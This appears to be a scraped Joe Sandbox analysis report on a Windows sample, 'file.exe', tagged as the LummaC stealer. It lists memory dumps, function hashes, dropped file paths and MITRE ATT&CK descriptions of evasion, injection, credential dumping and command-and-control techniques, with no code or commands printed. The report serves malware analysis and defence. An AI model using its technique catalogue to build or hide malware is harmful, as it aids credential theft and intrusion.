Associated: 00000004.00000002.2783882104.0000000000936000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783992232.0000000000A99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784018008.0000000000A9C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784047626.0000000000AB3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784047626.0000000000ABD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784095555.0000000000ABF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784117342.0000000000AC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784143714.0000000000AC9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784165980.0000000000ACA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784192234.0000000000ADA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784214416.0000000000ADB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784242480.0000000000AF8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784266099.0000000000B03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784290749.0000000000B11000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784313457.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784337353.0000000000B13000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784359011.0000000000B15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784383112.0000000000B1E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784405034.0000000000B1F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784427935.0000000000B29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784455339.0000000000B2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784480169.0000000000B34000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784503213.0000000000B37000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784526041.0000000000B38000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784549273.0000000000B3D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784573401.0000000000B4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784596289.0000000000B50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784628344.0000000000B5B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784658563.0000000000B5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784688763.0000000000B60000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784713605.0000000000B65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784737286.0000000000B6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784764750.0000000000B6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784793424.0000000000B7C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784818376.0000000000B7E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784863111.0000000000BC2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784888827.0000000000BC3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784911800.0000000000BC4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784911800.0000000000BCC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784965126.0000000000BDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784987731.0000000000BDC000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_920000_V6JTG9Z5Z4ZAMITLFW.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: a6a156c67086271814f05c2ba0b5077140361636a1d7549a1522787721e6ac80
Instruction ID: 2db145f3f2b8f8b00f83e9f7188b86cbaa72416c5278a7e97bf6af227afe2b6d
Opcode Fuzzy Hash: a6a156c67086271814f05c2ba0b5077140361636a1d7549a1522787721e6ac80
Instruction Fuzzy Hash: 06E06DB440C624DFD700AF28E0413B9BAE4EF45340F114C39868253A48D6390854D796

Function 0092ED83 Relevance: 1.3, APIs: 1, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 0092ED88

Memory Dump Source

Source File: 00000004.00000002.2783812751.000000000092A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00920000, based on PE: true

Associated: 00000004.00000002.2783743696.0000000000920000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783766290.0000000000922000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783788873.0000000000926000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783836883.0000000000934000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783859541.0000000000935000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783882104.0000000000936000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783992232.0000000000A99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784018008.0000000000A9C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784047626.0000000000AB3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784047626.0000000000ABD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784095555.0000000000ABF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784117342.0000000000AC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784143714.0000000000AC9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784165980.0000000000ACA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784192234.0000000000ADA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784214416.0000000000ADB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784242480.0000000000AF8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784266099.0000000000B03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784290749.0000000000B11000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784313457.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784337353.0000000000B13000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784359011.0000000000B15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784383112.0000000000B1E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784405034.0000000000B1F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784427935.0000000000B29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784455339.0000000000B2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784480169.0000000000B34000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784503213.0000000000B37000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784526041.0000000000B38000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784549273.0000000000B3D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784573401.0000000000B4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784596289.0000000000B50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784628344.0000000000B5B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784658563.0000000000B5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784688763.0000000000B60000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784713605.0000000000B65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784737286.0000000000B6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784764750.0000000000B6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784793424.0000000000B7C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784818376.0000000000B7E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784863111.0000000000BC2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784888827.0000000000BC3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784911800.0000000000BC4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784911800.0000000000BCC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784965126.0000000000BDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784987731.0000000000BDC000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_920000_V6JTG9Z5Z4ZAMITLFW.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: a68a7156703699d7b8de9d731e49928b30d96ebf10474d80392467ac5d6264f8
Instruction ID: b80856f4d0509b65da365b434f7acd990c56b1c8b996e4eb4c935665b6891900
Opcode Fuzzy Hash: a68a7156703699d7b8de9d731e49928b30d96ebf10474d80392467ac5d6264f8
Instruction Fuzzy Hash: 20E0C2B184C649DFC7946F31D9486AEBBF0FF45311F120A1CE8D286A90C3B64890CB17

Non-executed Functions

Function 00ACB604 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2784165980.0000000000ACA000.00000040.00000001.01000000.00000006.sdmp, Offset: 00920000, based on PE: true

Associated: 00000004.00000002.2783743696.0000000000920000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783766290.0000000000922000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783788873.0000000000926000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783812751.000000000092A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783836883.0000000000934000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783859541.0000000000935000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783882104.0000000000936000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783992232.0000000000A99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784018008.0000000000A9C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784047626.0000000000AB3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784047626.0000000000ABD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784095555.0000000000ABF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784117342.0000000000AC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784143714.0000000000AC9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784192234.0000000000ADA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784214416.0000000000ADB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784242480.0000000000AF8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784266099.0000000000B03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784290749.0000000000B11000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784313457.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784337353.0000000000B13000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784359011.0000000000B15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784383112.0000000000B1E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784405034.0000000000B1F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784427935.0000000000B29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784455339.0000000000B2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784480169.0000000000B34000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784503213.0000000000B37000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784526041.0000000000B38000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784549273.0000000000B3D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784573401.0000000000B4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784596289.0000000000B50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784628344.0000000000B5B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784658563.0000000000B5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784688763.0000000000B60000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784713605.0000000000B65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784737286.0000000000B6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784764750.0000000000B6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784793424.0000000000B7C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784818376.0000000000B7E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784863111.0000000000BC2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784888827.0000000000BC3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784911800.0000000000BC4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784911800.0000000000BCC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784965126.0000000000BDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784987731.0000000000BDC000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_920000_V6JTG9Z5Z4ZAMITLFW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e9e9301de91be117effebd8bc9f54d928823e962d35859b8be7ddac0236625b
Instruction ID: 0a50ca08e4d4e9bbaf60ae409e6be39aa4512d719949041c5f756b8184727a72
Opcode Fuzzy Hash: 7e9e9301de91be117effebd8bc9f54d928823e962d35859b8be7ddac0236625b
Instruction Fuzzy Hash: 14E086761142419EC7009F64C855A9FFBF4FF19311F618449E444C7762C3768D41CB39

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\V6JTG9Z5Z4ZAMITLFW.exe.log

C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

Windows Analysis Report
file.exe

Function 00AB90F3 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 167
fileCOMMON

Function 00AC2E8C Relevance: 4.6, APIs: 3, Instructions: 78
registryCOMMON

Function 00AB8E08 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 173
fileCOMMON

Function 00AB8FC7 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 100
fileCOMMON

Function 00AB9108 Relevance: 1.6, APIs: 1, Instructions: 105
fileCOMMON

Function 00AB5321 Relevance: 1.6, APIs: 1, Instructions: 103
libraryCOMMON

Function 00AB90B2 Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Function 00AB9126 Relevance: 1.6, APIs: 1, Instructions: 91
fileCOMMON

Function 04C00D41 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Function 00AB8E70 Relevance: 1.6, APIs: 1, Instructions: 59
fileCOMMON

Function 04C00D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Function 00AB8F01 Relevance: 1.6, APIs: 1, Instructions: 54
fileCOMMON

Function 04C01510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre